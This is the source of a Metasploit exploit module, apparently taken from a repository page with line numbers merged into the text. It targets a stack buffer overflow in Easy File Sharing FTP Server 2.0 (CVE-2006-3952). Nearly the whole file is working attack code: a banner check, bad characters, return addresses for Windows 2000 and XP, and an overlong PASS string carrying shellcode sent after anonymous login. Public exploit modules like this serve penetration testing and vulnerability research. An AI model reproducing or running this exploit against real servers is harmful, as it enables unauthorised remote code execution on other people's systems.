Path: blob/master/modules/exploits/windows/ftp/easyfilesharing_pass.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the Easy File Sharing 2.017service. By sending an overly long password, an attacker can execute18arbitrary code.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-3952' ],24[ 'OSVDB', '27646' ],25[ 'BID', '19243' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],39[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],40],41'DisclosureDate' => '2006-07-31',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def check53connect54disconnect5556if (banner =~ /Easy File Sharing FTP Server/)57return Exploit::CheckCode::Detected58end5960return Exploit::CheckCode::Safe61end6263def exploit64connect6566filler = rand_text_english(2559) + "\xeb\x12"67filler << make_nops(2) + [target.ret].pack('V')6869sploit = "\x2c" + filler + payload.encoded7071print_status("Trying target #{target.name}...")7273# needs anonymous to be set.74send_cmd(['USER', "anonymous"], true)75send_cmd(['PASS', sploit], false)7677handler78disconnect79end80end818283